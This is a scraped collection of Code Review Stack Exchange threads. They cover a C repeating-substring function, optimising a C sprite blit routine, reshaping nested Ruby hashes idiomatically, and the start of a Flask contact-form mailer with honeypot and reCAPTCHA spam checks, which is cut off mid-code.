"Id": "520722",
"Score": "1",
"body": "This line in the code `char arr[10] = \"abcdeabcde\";` can cause undefined behavior. The array `arr` is not long enough to hold the string since the string is 10 characters and C adds the `'\\0'` to the end of the string to terminate it. You don't need to supply the string size of `10`, use `char arr[] = \"abcdeabcde\";` instead. The code does not work as written."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T17:33:16.397",
"Id": "520732",
"Score": "0",
"body": "@user786, I said \"isn't working\", not \"is Pascal\" or \"is C#\".\nhttps://ideone.com/uK9I9k - no output."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T01:39:26.090",
"Id": "520749",
"Score": "0",
"body": "It's working fine for correct inputs"
}
] |
[
{
"body": "<h1><code>main()</code></h1>\n<blockquote>\n<pre><code>void\nmain()\n</code></pre>\n</blockquote>\n<p>Oops: that's not a standard signature for <code>main()</code>. You probably meant <code>int main(void)</code>.</p>\n<hr />\n<p>We have a memory access bug here, that's illuminated when we run under Valgrind:</p>\n<blockquote>\n<pre><code> char arr[10] = "abcdeabcde";\n int n = strlen(arr) - 1;\n</code></pre>\n</blockquote>\n<p><code>arr</code> doesn't have a terminating null. It's better to use an array of unspecified size, so we can be sure that the content is actually a string:</p>\n<pre><code> char arr[] = "abcdeabcde"; /* sizeof arr == 11 */\n</code></pre>\n<hr />\n<p>Arrays decay to pointers when passed as function arguments, so these two casts are superfluous:</p>\n<blockquote>\n<pre><code> func1((char *)&arr, n, (char *)&array, &ret);\n</code></pre>\n</blockquote>\n<p>We can just write</p>\n<pre><code> func1(arr, n, array, &ret);\n</code></pre>\n<hr />\n<p>There's no need for char-by-char printing here (and <code>putc()</code> would be simpler if there were):</p>\n<blockquote>\n<pre><code>printf("(");\nfor (int x = 0; x < ret; x++)\n {\n printf("%c", array[x]);\n }\nprintf(")");\n</code></pre>\n</blockquote>\n<p>Just use <code>%s</code>, and specify the field width to truncate it:</p>\n<pre><code>printf("(%.*s)\\n", ret, array);\n</code></pre>\n<hr />\n<h1><code>func1()</code></h1>\n<p>That's a poor name for a function. And the arguments are insufficiently clear, too. Why do we copy the return value into a pointer parameter? There's no need to do that.</p>\n<p>We shouldn't be modifying the contents of <code>array</code>, so we should pass it as a <code>const char*</code>.</p>\n<p>Since we're working with strings, we should accept and return <code>size_t</code> for number of characters.</p>\n<p>Why are we required to pass the length of input string? The function ought to be able to determine that.</p>\n<p>Why do we have an empty loop here?</p>\n<blockquote>\n<pre><code> for (int j = 0; j < *ret; j++)\n ;\n</code></pre>\n</blockquote>\n<p>There's no <code>return</code> statement if the loop completes.</p>\n<hr />\n<h1><code>getr_seq()</code></h1>\n<p>Why are we working through this character by character, when we have a perfectly good string library provided in C? We can use <code>strcmp()</code> or <code>memcmp()</code> to compare the substrings, and <code>strcpy()</code>/<code>memcpy()</code> to copy characters (though I don't see any need to do so, meaning we can eliminate the <code>array</code> parameter).</p>\n<p>This function is also missing a <code>return</code> statement in at least one path.</p>\n<hr />\n<h1>Modified code</h1>\n<pre><code>#include <stdbool.h>\n#include <stdio.h>\n#include <string.h>\n\nstatic bool is_repeating(const char *arr, size_t chunk_size)\n{\n /* are all substrings of length i equal? */\n for (const char *chunk = arr + chunk_size; *chunk; chunk += chunk_size) {\n if (memcmp(arr, chunk, chunk_size)) {\n /* no, unequal */\n return false;\n }\n }\n /* all length-i substrings identical */\n return true;\n}\n\n\nsize_t minimal_repeating_length(const char *arr)\n{\n const size_t n = strlen(arr);\n for (size_t i = 1; i < n; ++i) {\n if (n % i == 0 && is_repeating(arr, i)) {\n return i;\n }\n }\n return n; /* no repetitions, so it's the whole string */\n}\n\nint main(void)\n{\n const char *arr = "abcdeabcde";\n\n size_t repeat_len = minimal_repeating_length(arr);\n printf("(%.*s)\\n", (int)repeat_len, arr);\n}\n</code></pre>\n<hr />\n<h1>Alternative interface</h1>\n<p>Instead of returning the minimal length that repeats to form the string, we could return the substring itself, by returning a pointer to the last chunk:</p>\n<pre><code>/*\n * Return the shortest substring which can be repeated to create arr\n * N.B. return value is a view into arr, so has same lifetime.\n */\nconst char *minimal_repeating_string(const char *arr)\n{\n const size_t n = strlen(arr);\n for (size_t i = 1; i < n; ++i) {\n if (n % i == 0 && is_repeating(arr, i)) {\n return arr + n - i;\n }\n }\n /* no repetitions, so it's the whole string */\n return arr;\n}\n</code></pre>\n<p>This makes life easier for the caller (who can still use <code>strlen()</code> to get the length if that's needed):</p>\n<pre><code>int main(void)\n{\n printf("(%s)\\n", minimal_repeating_string("abcdeabcde"));\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T06:39:00.553",
"Id": "520756",
"Score": "0",
"body": "can u please add few words why u added `stdbool.h` . why its needed in the code? ur code included it as header file"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T08:23:59.527",
"Id": "520759",
"Score": "0",
"body": "Does that need explaining? It's because I changed the helper function to return a boolean value."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T11:47:37.503",
"Id": "263722",
"ParentId": "263719",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263722",
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T08:33:16.590",
"Id": "263719",
"Score": "-2",
"Tags": [
"c",
"strings",
"pattern-matching"
],
"Title": "Find repeating pattern in a string"
}
|
263719
|
<p>Here is a blit function for a graphics library I made.</p>
<p>I've built a small graphics library that uses an palette-indexed spritesheet to hold all of the game's sprites. The blit function copies parts of the spritesheet into the screen buffer, according to the sprite position on the screen.</p>
<p>Everything works very well, and <a href="https://godbolt.org/z/edKq97K8c" rel="noreferrer">it seems to be optimized quite well by the compiler, as it uses a lot of vectorized instructions</a>, but I'm wondering if there is a way to make it more efficient.</p>
<p>Here is the code of the function, alongside the code of the data structures.</p>
<pre><code>#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
typedef struct ScreenManager ScreenManager;
struct ScreenManager
{
uint8_t* screen;
size_t screen_width;
size_t screen_height;
uint32_t* buffer;
void* sdl_window;
void* sdl_renderer;
void* sdl_texture;
const uint32_t* palette;
};
typedef struct SpritesheetSlice SpritesheetSlice;
struct SpritesheetSlice
{
size_t x;
size_t y;
size_t width;
size_t height;
};
typedef struct Sprite Sprite;
struct Sprite
{
double x;
double y;
SpritesheetSlice* sss;
bool visible;
bool allocated;
};
typedef struct SpriteManager SpriteManager;
struct SpriteManager
{
const uint8_t* spritesheet;
size_t spritesheet_width;
size_t spritesheet_height;
uint8_t* mask;
Sprite* sprites;
size_t sprites_maximum;
size_t sprites_free;
};
void
blit(ScreenManager* screen_manager, SpriteManager* sprite_manager)
{
for (size_t i = 0; i < sprite_manager->sprites_maximum; ++i)
{
if (sprite_manager->sprites[i].allocated)
{
size_t sprite_position_x = sprite_manager->sprites[i].x;
size_t sprite_position_y = sprite_manager->sprites[i].y;
size_t sss_offset_x = sprite_manager->sprites[i].sss->x;
size_t sss_offset_y = sprite_manager->sprites[i].sss->y;
size_t sss_width = sprite_manager->sprites[i].sss->width;
size_t sss_height = sprite_manager->sprites[i].sss->height;
size_t screen_height = screen_manager->screen_height;
size_t screen_width = screen_manager->screen_width;
size_t screen_size = screen_height * screen_width;
size_t scanline_in_index = sprite_manager->spritesheet_width * sss_offset_y + sss_offset_x;
const uint8_t* scanline_in = sprite_manager->spritesheet;
size_t scanline_out_index = screen_width * sprite_position_y + sprite_position_x;
uint8_t* scanline_out = screen_manager->screen;
if (screen_width - sprite_position_x < sss_width)
{
sss_width = screen_width - sprite_position_x;
}
for (size_t y = 0; y < sss_height; ++y)
{
for (size_t x = 0; x < sss_width; ++x)
{
uint8_t pixel = scanline_in[x + scanline_in_index];
if (pixel && scanline_out_index <= screen_size)
{
scanline_out[x + scanline_out_index] = pixel;
}
}
scanline_in_index += sprite_manager->spritesheet_width;
scanline_out_index += screen_width;
}
}
}
return;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T15:38:08.457",
"Id": "520727",
"Score": "3",
"body": "Please do not edit the question, especially the code after an answer has been posted. Everyone needs to be able to see what the reviewer was referring to. [What to do after the question has been answered](https://codereview.stackexchange.com/help/someone-answers). You can either add your own answer or start an new question with a link to this question."
}
] |
[
{
"body": "<blockquote>\n<p>it seems to be optimized quite well by the compiler, as it uses a lot of vectorized instructions</p>\n</blockquote>\n<p>Well, kind of. GCC didn't use vectorization at all, and Clang used <em>some</em> of it but in a very strange way. Let's look at what it's doing. Basically I'm reviewing what Clang did, not so much your code.. but that then informs you about your code by proxy. I'll go into what to do about it too.</p>\n<p>Snippet 1:</p>\n<pre><code> vpaddq xmm0, xmm1, xmm6\n vpaddq xmm1, xmm8, xmm6\n vinsertf128 ymm8, ymm1, xmm0, 1\n vpaddq xmm0, xmm4, xmm6\n vpaddq xmm1, xmm9, xmm6\n vinsertf128 ymm9, ymm1, xmm0, 1\n vpaddq xmm0, xmm13, xmm6\n vpaddq xmm1, xmm10, xmm6\n vinsertf128 ymm10, ymm1, xmm0, 1\n vpaddq xmm0, xmm14, xmm6\n vpaddq xmm1, xmm11, xmm6\n vinsertf128 ymm11, ymm1, xmm0, 1\n</code></pre>\n<p>The weird mix of 128bit and 256bit is due to Ivy Bridge supporting AVX but not AVX2, it's not really <em>good</em> to do this (usually it's better to just use 128bit SIMD and forget about 256bit unless it's floats), but it's understandable that a compiler would solve the puzzle that way.</p>\n<p>Anyway what's happening here is that SIMD is used to .. increment <code>x</code>. That's not <em>necessarily</em> bad, but worrying, because <code>x</code> really doesn't need to be a vector here (in other contexts it would have made sense).</p>\n<p>Snippet 2:</p>\n<pre><code> vmovdqu xmm2, xmmword ptr [r13 + r14]\n vpcmpeqb xmm3, xmm2, xmm5\n vextractf128 xmm12, ymm7, 1\n vextractf128 xmm1, ymm8, 1\n vpaddq xmm0, xmm12, xmm1\n vpaddq xmm4, xmm8, xmm7\n vinsertf128 ymm4, ymm4, xmm0, 1\n</code></pre>\n<p>Here SIMD is used to load the pixels (fine), and evaluate the condition, and evaluate <code>x + scanline_out_index</code>. This is fine.</p>\n<p>Snippet 3: times a dozen</p>\n<pre><code> vpextrb eax, xmm3, 1\n not al\n test al, 1\n je .LBB0_17\n vpextrq rax, xmm4, 1\n vpextrb byte ptr [rcx + rax], xmm2, 1\n</code></pre>\n<p>This is not vectorized code. It's extracting scalars from the vectors, and doing a scalar test/branch, and scalar store-byte. This is not good. The whole setup of computing things in vectors is ruined by this part of the code.</p>\n<p>I can't blame the compiler too much for this. Vectorizing a conditional store by using a blend is just illegal for compilers (it can introduce race conditions in multi-threaded code), and there is no good byte-granular conditional store in AVX (there is one for dwords, and <code>maskmovdqu</code> is byte-granular but is slow due the NT-hint). As the programmer, <em>you</em> can use a blend, and that's the only way to make it fast.</p>\n<p>Going outside the screen with blends may not be safe, depending on how much padding it has. In any case it complicates the condition, since it doesn't have the same element size as the pixels. It would cost a lot of code to do that .. similar to what Clang did actually, plus some packs to reduce the width of the mask to byte size. Anyway I'm going to recommend keeping that condition as a branch (not one branch per pixel, that wouldn't even be possible with SIMD, but a branch to end the loop and then drop into the special handling of the chunk that got "cut in half" by the edge of the screen). You can handle the last chunk of every row by "stepping back" to align the <em>end</em> of the vector with the <em>end</em> of the row, overlapping a bit with the previous chunk. That works in this case because the operation we're doing can be safely done twice on the same pixel, that would have the same effect as doing it once. If I have time later and if you're interested, I may do a more elaborate sketch of how to do all this.</p>\n<p>In conclusion, Clang vectorized the part that shouldn't have been vectorized, and didn't vectorize the part that should have been (it wasn't allowed to touch that part though, only you are).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T12:58:52.407",
"Id": "520724",
"Score": "0",
"body": "(GCC) How's '-ftree-parallelize-loops=4' works with this code ( https://godbolt.org/z/ozYdWPnY1 )"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T13:03:44.847",
"Id": "520725",
"Score": "0",
"body": "@JuhaP still no vectorization"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T18:54:26.313",
"Id": "520733",
"Score": "1",
"body": "Interesting. Why does compiler care about introducing race condition in access of something that isn't marked as atomic? Even if it's illegal, this still seems like a sensible aggressive (perhaps non-default) optimization."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T19:26:35.660",
"Id": "520736",
"Score": "3",
"body": "@valisstillwithMonica something that that optimization could break is parallel writes to different/unrelated variables (eg two adjacent globals that might even be from different compilation units), which is not a situation that you need atomics for"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T14:46:23.523",
"Id": "520841",
"Score": "0",
"body": "Hello @harold, thank you very much for this enlightening answer. I've taken your advice into account and improved my code. Now everything appears — although I'm not an assembly specialist — to be much cleaner. But, as you have pointed out, compiling for Ivy Bridge introduce this mix of 128 and 258bits instructions nontheless."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T10:31:25.057",
"Id": "263721",
"ParentId": "263720",
"Score": "9"
}
},
{
"body": "<p>There are a few things that can be lifted out of loops.</p>\n<p>The three screen related variables, <code>screen_height</code>, <code>screen_width</code>, and <code>screen_size</code>, along with <code>scanline_in</code> and <code>scanline_out</code>, can be initialized before the outer <code>i</code> for loop.</p>\n<p>In the main blit loop, the check for <code>scanline_out_index <= screen_size</code> can be moved to before the <code>x</code> loop (and when false, you can break out of the <code>y</code> loop because the rest of the sprite is off the screen.</p>\n<p>Clipping is only minimally handled (for part of the sprite being off the right or bottom). If the sprite is partly off the left edge or top, or is entirely off the screen, you'll access incorrect scanlines and/or invalid memory addresses.</p>\n<p>The use of some indexing in loops could be replaced by a pointer (to eliminate the index calculation), although the compiler optimizations are likely to do that for you.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T14:47:35.563",
"Id": "520842",
"Score": "0",
"body": "Hello @1201ProgramAlarm, thank you for pointing these issues I have ignored. I've included all of your proposition in the “final” code."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T16:23:45.187",
"Id": "263727",
"ParentId": "263720",
"Score": "7"
}
},
{
"body": "<p>I've modified my code according to the remarks that have been made here.</p>\n<p>Changes include:</p>\n<ul>\n<li>Declaring outside of the loop variables that aren't dependent of it (see <code>screen_height</code> and <code>screen_width</code>)</li>\n<li>Using binary operators to get rid of the <code>if</code> inside the nested <code>for</code> loops, by using a mask, which is an array of the same dimension of the sprite sheet, to know if a pixel is transparent or no.</li>\n<li>Doing pointer arithmetic instead of calculating an index. I don't like to do pointer arithmetic in my code, but it does saves some instructions in the final assembly code.</li>\n</ul>\n<p>Here's the code for the final function:</p>\n<pre><code>void\nblit(ScreenManager* screen_manager, SpriteManager* sprite_manager)\n{\n size_t screen_height = screen_manager->screen_height;\n size_t screen_width = screen_manager->screen_width;\n\n for (size_t i = 0; i < sprite_manager->sprites_maximum; ++i)\n {\n if (sprite_manager->sprites[i].allocated &&\n sprite_manager->sprites[i].visible &&\n sprite_manager->sprites[i].x <= screen_manager->screen_width &&\n sprite_manager->sprites[i].y <= screen_manager->screen_height)\n {\n size_t sprite_position_x = sprite_manager->sprites[i].x;\n size_t sprite_position_y = sprite_manager->sprites[i].y;\n\n size_t sss_offset_x = sprite_manager->sprites[i].sss->x;\n size_t sss_offset_y = sprite_manager->sprites[i].sss->y;\n size_t sss_width = sprite_manager->sprites[i].sss->width;\n size_t sss_height = sprite_manager->sprites[i].sss->height;\n\n size_t scanline_in_offset = sprite_manager->spritesheet_width * sss_offset_y + sss_offset_x;\n size_t scanline_out_offset = screen_width * sprite_position_y + sprite_position_x;\n\n uint8_t* scanline_in = sprite_manager->spritesheet + scanline_in_offset;\n uint8_t* scanline_out = screen_manager->screen + scanline_out_offset;\n uint8_t* mask_in = sprite_manager->mask + scanline_in_offset;\n\n if (sprite_position_x + sss_width > screen_width)\n {\n sss_width += screen_width - (sprite_position_x + sss_width);\n }\n if (sprite_position_y + sss_height > screen_height)\n {\n sss_height += screen_height - (sprite_position_y + sss_height);\n }\n\n for (size_t y = 0; y < sss_height; ++y)\n {\n for (size_t x = 0; x < sss_width; ++x)\n {\n scanline_out[x] = (scanline_out[x] & ~mask_in[x]) | scanline_in[x];\n }\n scanline_in += sprite_manager->spritesheet_width;\n scanline_out += screen_width;\n mask_in += sprite_manager->spritesheet_width;\n }\n }\n }\n}\n</code></pre>\n<p>The result assembly code, compiler for the Tiger Lake architecture, can be seen here: <a href=\"https://godbolt.org/z/9eWoTKTKW\" rel=\"nofollow noreferrer\">https://godbolt.org/z/9eWoTKTKW</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:04:57.277",
"Id": "521070",
"Score": "0",
"body": "Stylewise, using (e.g.) `sprite_manager->sprites[i].whatever` seems verbose to me. At the top of the loop I'd do (e.g.) `Sprite *spr = &sprite_manager->sprites[i];` and then change to `spr->whatever`"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T14:56:45.057",
"Id": "263778",
"ParentId": "263720",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "263778",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T09:24:13.377",
"Id": "263720",
"Score": "11",
"Tags": [
"performance",
"c",
"array",
"game",
"vectorization"
],
"Title": "My blit function for my own graphics library"
}
|
263720
|
<p>My goal is to write more idiomatic ruby when working with nested data structures. More specifically, I need to break my habit of looping through everything with <code>.each</code> and nested <code>.each</code>es. Here's a simple example that illustrates this:</p>
<p>I have the following data structure which cannot be changed:</p>
<pre class="lang-rb prettyprint-override"><code>structure_hash = {
"website"=> {
"base"=>"luma.demo",
"custom_b2c_website"=>"homegoods.demo",
},
"store_view"=> {
"custom_store_view"=>"fr.homegoods.ca"
}
}
</code></pre>
<p>I want to reshape this such that I return the data as an array of hashes like so:</p>
<pre class="lang-rb prettyprint-override"><code>structure_array = [
{
:scope=>"website",
:code=>"base",
:url=>"luma.demo"
},
{
:scope=>"website",
:code=>"custom_b2c_website",
:url=>"homegoods.demo"
},
{
:scope=>"store",
:code=>"custom_store_view",
:url=>"fr.homegoods.ca"
}
]
</code></pre>
<p>I have achieved this with the following helper method with comments that illustrate the thought process I am trying to improve:</p>
<pre class="lang-rb prettyprint-override"><code>def get_vhost_data
structure_hash = { ... } # The first hash above, etc.
vhost_data = [] # We're returning an array, so initialize one
# Loop through the containing hash. Each key will be our scope, so we need to
# access that
structure_hash.each do |scope, scope_hash|
# We need to transform and add to the data in these hashes.
scope_hash.each do |code, url|
# Best to return a new hash to house the old values + the transformed ones
demo_data = {}
# The "scope" key from the outer hash needs to be changed conditionally
demo_data[:scope] = scope == 'store_view' ? scope.gsub('store_view', 'store') : scope
# The rest of the data is fine
demo_data[:code] = code
demo_data[:url] = url
# Add the newly-created hash to the containing array
vhost_data << demo_data
end
end
# Return the containing array
vhost_data
end
</code></pre>
<h2>What Smells?</h2>
<p>As best I can tell, the following things are fishy:</p>
<ol>
<li><p>I shouldn't need to initialize an empty array -- surely <code>.each_with_object</code>?</p>
</li>
<li><p>Nested <code>.each</code> here seems tedious -- is there a better way to think about what I'm trying to do that would result in something more idiomatic? For example, instead of resorting to "Okay, we need to go through each hash and..." is it more idiomatic to say: "Since you're only manipulating one of the keys of the outer hash, use a <code>select</code> instead? (Just an example, not sure that select does what I want, although it could also take care of creating the containing array...)</p>
</li>
<li><p>Again, initializing the empty hash seems wrong -- <code>.each_with_object</code> again?</p>
</li>
<li><p>Looping through a hash to create a new hash from the existing hash's content and add to it. At first I thought <code>map</code> would be better somehow, but in my limited understanding, <code>.map</code> takes existing elements and transforms them -- it doesn't add additional elements...</p>
</li>
</ol>
<h2>What I've Tried</h2>
<p>So far, I've tried the following to address the code smells above:</p>
<pre class="lang-rb prettyprint-override"><code>def get_vhost_data_refactor
structure_hash = {...}
structure_hash.each_with_object([]) do |(scope, scope_hash), vhost_arr|
scope_hash.each_with_object({}) do |(code, url), data_hash|
data_hash[:scope] = scope == 'store_view' ? scope.gsub('store_view', 'store') : scope
data_hash[:code] = code
data_hash[:url] = url
vhost_arr << data_hash
end
end
end
</code></pre>
<p>which yields:</p>
<pre class="lang-rb prettyprint-override"><code>[
{
:scope=>"website",
:code=>"custom_b2c_website_3",
:url=>"sierra.demo"
},
{
:scope=>"website",
:code=>"custom_b2c_website_3",
:url=>"sierra.demo"
},
{
:scope=>"store",
:code=>"custom_store_view",
:url=>"fr.homegoods.ca"
}
]
</code></pre>
<p>This is close, but obviously, the <code>.each_with_object</code> combination doesn't loop through each of the inner hashes properly, and more importantly, even if it <em>did</em> work, it's not idiomatic; it just replaces nested <code>.each</code> with the slightly more helpful <code>each_with_object</code>.</p>
<p>Any advice on how I can solve this "the Ruby way" and any tips for questions to ask in order to <em>think</em> "the Ruby way" would be greatly appreciated.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T16:18:50.520",
"Id": "520728",
"Score": "0",
"body": "Welcome to Code Review! The current question title, which states your concerns about the code, is too general to be useful here. Please [edit] to the site standard, which is for the title to simply state **the task accomplished by the code**. Please see [How to get the best value out of Code Review: Asking Questions](//codereview.meta.stackexchange.com/q/2436) for guidance on writing good question titles."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T20:32:41.087",
"Id": "520738",
"Score": "0",
"body": "Thanks! Updated as requested."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T21:59:33.150",
"Id": "520739",
"Score": "1",
"body": "Just riffing.... flatten `structure_hash` up front. Iterate the flattened hashes array to transform it. Nested `.each` becomes sequential. If anything is a Ruby idiom it's \"everything is an object.\" and \"objects work like you expect them to\". That means plenty of helpful methods. - hmmm,... Consider a Class that can return its own flattened representation. Then, I suppose a`Vhost.flatten.transform` call could have a default-value code block parameter."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T16:19:48.603",
"Id": "521321",
"Score": "0",
"body": "I tried a few options but couldn't find a clean way to do this with flattening. You would really need to merge the top level into the second level while flattening. It would be easy enough to add this as a method if it was being used regularly but that seems unlikely"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T16:28:42.670",
"Id": "521322",
"Score": "1",
"body": "Something like: `def flatten_hash(hash, subkey); hash.map { |k,v| v.dup.tap { |h| h[subkey] = k} }`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T22:18:45.933",
"Id": "521338",
"Score": "0",
"body": "I like this, too, @MarcRohloff; I'd used `.tap` in another attempt, and your method here echoes Jorg's comment on your answer which recommends creating an object to better represent the data."
}
] |
[
{
"body": "<p>I would agree with your 1st and 3rd points - initializing intermediate arrays and hashes is almost always a smell. <code>with_object</code> is one solution as is <code>reduce</code>/<code>inject</code>. <code>each</code> is definitely not very idiomatic Ruby.</p>\n<p>Your second solution is much better. The reason it gives an odd result is because the <code>data_hash</code> is the same object for each iteration of the inner loop and you are just modifying it so the result is the last iteration of the loop.</p>\n<p>I would say that this is exactly what <code>map</code> is for - it is still a kind of transformation. I don't know of any ways to select into the inner loop or avoid the nesting but I would use <code>flat_map</code> which does the map and then flattens out the result (you can try with just <code>map</code> to see what I mean)</p>\n<p>Something like this:</p>\n<pre><code>structure_hash.flat_map do |scope, scope_hash|\n scope = 'store' if scope == 'store_view'\n scope_hash.map do |code, url|\n { \n scope: scope,\n code: code,\n url: url,\n } \n end\nend\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T21:16:07.327",
"Id": "520944",
"Score": "0",
"body": "This is great information, thanks! I'd forgotten that map, being a \"souped up\" `each`, allowed me to pull out the key (scope) and the inner hash at the same time. And, the use of flat_map saves me from using `.flatten` everywhere. I was trying all sorts of merge operations, and even thought of experimenting with `reduce`, too, but my fear was always sacrificing clarity for convention or idiom. I think the take-away here is that nesting is correct in this case, and your double map is the elegant approach. Thanks again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T13:38:44.557",
"Id": "521042",
"Score": "0",
"body": "After trying unsuccessfully to use a combination of flattening to arrays and then thinking about `zip` and `splat` to line them up and `reduce` inside of a single `each`, I still think the above answer is the cleanest solution."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T10:37:02.537",
"Id": "521197",
"Score": "1",
"body": "Note that the advice from [radarbob's comment](https://codereview.stackexchange.com/questions/263724/reshape-hash-of-hashes-into-array-of-modified-hashes-without-using-nested-each#comment520739_263724) is still good advice: Ruby is an object-oriented language, not a hash-of-strings-to-hash-of-strings-to-strings-oriented language nor an array-of-hashes-of-symbols-to-strings-oriented language. I found that with proper domain modeling, all of these complex low-level-data-structure-manipulation problems go away because there are no complex low-level data structures anymore."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T11:14:51.417",
"Id": "521198",
"Score": "1",
"body": "Here's a couple of examples: https://stackoverflow.com/a/61119757/2988 https://stackoverflow.com/a/20612726/2988 https://stackoverflow.com/a/28051415/2988 https://stackoverflow.com/a/31388268/2988 https://stackoverflow.com/a/32502358/2988 https://stackoverflow.com/a/33125872/2988 https://stackoverflow.com/a/43033758/2988 https://stackoverflow.com/a/45847433/2988 https://stackoverflow.com/a/59532605/2988"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T22:05:31.977",
"Id": "521337",
"Score": "0",
"body": "Absolutely, never meant to imply that the comment was not good advice, and I appreciate his taking the time to get me started in the right direction. @JörgWMittag, what I'm gathering from your comment and some of the examples you shared is that I need to alter the way I think about solving a problem. Instead of going directly to low-level structures, it's more ruby-esque to create an Object which is structured to match the data I have, is that what you're saying? (Your second SO example was particularly poignant)."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T20:18:22.977",
"Id": "263821",
"ParentId": "263724",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263821",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T13:42:47.860",
"Id": "263724",
"Score": "3",
"Tags": [
"ruby"
],
"Title": "Reshape hash of hashes into array of modified hashes without using nested each?"
}
|
263724
|
<h1>Introduction</h1>
<p>I wrote a proof-of-concept Flask server that accepts responses from a contact form and converts the data submitted to an email. I have added a rudimentary honeypot field that causes the form's response to discarded when the field is full. Additionally, I have integrated Google's reCAPTCHAv2 (intentionally over v3) to bolster the spam protection.</p>
<p>I have kept the dependency on third party modules to a minimum: I require only <code>flask</code> and <code>requests</code>. I do not think my use-case is complex enough to warrant the use of an abstraction in the form of a third-party reCAPTCHA library.</p>
<p>Additionally, this is just a test. When I deploy this, I want to keep my contact form on a static website and the form validation endpoint on a different domain.</p>
<h1>Overview</h1>
<p>The flask server exposes two endpoints:</p>
<ol>
<li>GET at <code>/</code> - the home page that contains the sample contact form. The full HTML content is in <code>main.html</code>. Note that I plan to keep this form in a static website on a different domain than the email notifier endpoint.</li>
<li>POST at <code>/contactform</code> - validates the form response and sends a notification to the configured email when a genuine request appears. Then conditionally renders a success template (see <code>accepted.html</code>)</li>
</ol>
<p>These two endpoints are exposed in <code>main.py</code>, which depends on <code>send_mail.py</code> to send the email.</p>
<p>Additionally, it makes use of the following (secret) environment variables:</p>
<ol>
<li><code>SENDER_EMAIL</code> - The email address whose server we'll log into to send emails.</li>
<li><code>PASSWORD</code> - The password for the email account.</li>
<li><code>RECEIVER_EMAIL</code> - Since this is for converting a form response into a notification email, there is only one receiver. The code can be modified to notify several people.</li>
<li><code>GOOGLE_RECAPTCHA_KEY</code> - The server side key that is used to validate reCAPTCHA responses.</li>
</ol>
<h1>Source Code</h1>
<h2><code>main.py</code></h2>
<pre class="lang-py prettyprint-override"><code>import os
import json
import requests
from flask import Flask, render_template, request
from send_mail import send_mail
_BOT_IDENTIFIED = 'OK'
app = Flask(__name__)
def is_bot(captcha_response):
secret = os.getenv('GOOGLE_RECAPTCHA_KEY')
payload = {'response': captcha_response, 'secret': secret}
response = requests.post(
"https://www.google.com/recaptcha/api/siteverify", payload)
response_text = json.loads(response.text)
return not response_text['success']
@app.route('/', methods=["GET"])
def hello_world():
return render_template('main.html')
@app.route('/contactform', methods=["POST"])
def respond_to_formsubmit():
trap = request.form['extrainfo']
if trap.strip() != '':
return _BOT_IDENTIFIED
captcha = request.form['g-recaptcha-response']
if is_bot(captcha_response=captcha):
return _BOT_IDENTIFIED
name = request.form['name']
email = request.form['email']
subject = request.form['subject']
details = request.form['details']
mail_info = {
"name": name,
"email": email,
"subject": subject,
"details": details,
}
send_mail(mail_info)
return render_template('accepted.html')
if __name__ == "__main__":
app.run()
</code></pre>
<h2><code>send_mail.py</code></h2>
<pre class="lang-py prettyprint-override"><code>import smtplib
import ssl
import os
from email.message import EmailMessage
_SMTP_SERVER_DOMAIN = 'smtp.gmail.com'
_SMTP_SERVER_PORT = 587
def retrieve_credentials():
try:
sender_email = os.getenv('SENDER_EMAIL')
password = os.getenv('PASSWORD')
receiver_email = os.getenv('RECEIVER_EMAIL')
except:
print('Could not retrieve credentials. Make sure environment variables are initialized.')
exit(1)
return sender_email, password, receiver_email
def prepare_email(mail_info, sender_email, receiver_email):
msg = EmailMessage()
